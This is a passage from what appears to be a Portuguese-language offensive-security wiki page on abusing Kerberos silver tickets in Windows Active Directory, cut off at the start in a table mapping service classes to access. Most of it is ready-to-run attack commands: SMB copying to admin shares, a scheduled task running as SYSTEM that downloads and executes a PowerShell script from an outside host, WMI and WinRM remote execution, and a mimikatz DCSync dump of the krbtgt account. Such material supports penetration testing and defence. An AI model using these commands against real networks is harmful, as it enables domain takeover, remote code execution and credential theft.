HOST
RPCSS
| | PowerShell Remoting |HOST
HTTP
Dependendo do SO também:
WSMAN
RPCSS
| | WinRM |HOST
HTTP
Em algumas ocasiões você pode simplesmente solicitar: WINRM
| | Tarefas Agendadas | HOST | | Compartilhamento de Arquivos do Windows, também psexec | CIFS | | Operações LDAP, incluindo DCSync | LDAP | | Ferramentas de Administração Remota do Servidor Windows |RPCSS
LDAP
CIFS
| | Tickets de Ouro | krbtgt | Usando **Rubeus** você pode **solicitar todos** esses tickets usando o parâmetro: * `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` ### IDs de Evento de Tickets Silver * 4624: Logon de Conta * 4634: Logoff de Conta * 4672: Logon de Admin ## Abusando de Tickets de Serviço Nos exemplos a seguir, vamos imaginar que o ticket é obtido se passando pela conta de administrador. ### CIFS Com este ticket, você poderá acessar as pastas `C$` e `ADMIN$` via **SMB** (se estiverem expostas) e copiar arquivos para uma parte do sistema de arquivos remoto apenas fazendo algo como: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` Também será possível obter um shell dentro do host ou executar comandos arbitrários usando **psexec**: {% content-ref url="../lateral-movement/psexec-and-winexec.md" %} [psexec-and-winexec.md](../lateral-movement/psexec-and-winexec.md) {% endcontent-ref %} ### HOST Com essa permissão, você pode gerar tarefas agendadas em computadores remotos e executar comandos arbitrários: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc #Create scheduled task, first for exe execution, second for powershell reverse shell download schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe" schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" #Check it was successfully created schtasks /query /S some.vuln.pc #Run created schtask now schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS Com esses tickets você pode **executar o WMI no sistema da vítima**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local #Execute code Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand" #You can also use wmic wmic remote.computer.local list full /format:list ``` Encontre **mais informações sobre wmiexec** na seguinte página: {% content-ref url="../lateral-movement/wmicexec.md" %} [wmicexec.md](../lateral-movement/wmicexec.md) {% endcontent-ref %} ### HOST + WSMAN (WINRM) Com acesso winrm a um computador, você pode **acessá-lo** e até mesmo obter um PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` Verifique a seguinte página para aprender **mais maneiras de se conectar a um host remoto usando winrm**: {% content-ref url="../lateral-movement/winrm.md" %} [winrm.md](../lateral-movement/winrm.md) {% endcontent-ref %} {% hint style="warning" %} Note que o **winrm deve estar ativo e ouvindo** no computador remoto para acessá-lo. {% endhint %} ### LDAP Com esse privilégio, você pode despejar o banco de dados do DC usando **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` **Saiba mais sobre DCSync** na seguinte página: ## Referências * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %}